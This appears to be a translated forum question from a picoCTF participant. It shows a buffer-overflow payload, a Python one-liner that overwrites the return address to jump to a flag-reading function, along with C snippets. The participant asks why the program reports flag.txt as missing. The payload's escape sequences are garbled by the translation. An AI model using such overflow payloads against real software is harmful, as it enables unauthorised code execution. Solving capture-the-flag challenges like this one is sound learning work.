Для picoCTF мне нужно прочитать ограниченный текстовый файл, переполнив буфер и изменив адрес возврата на функцию, которая будет читать файл. Я сделал это, но когда он запускается, он говорит «отсутствует flag.txt в текущем каталоге!»
Я пробовал другие методы, чтобы получить тот же результат, но я не слишком хорош вСборка У меня проблемы.
Вот части, касающиеся flag.txt в файле vuln:
define BUFFSIZE 64
define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
}
Мой процесс:
$ ls
flag.txt vuln vuln.c
$ python -c "print 'a' * 72 + '\ x8b \ x07 \ x40'" |./vuln
'flag.txt' missing in the current directory!
Я ожидал, что текстовый файл будет напечатан, но вместо этого он утверждает, что его не существует.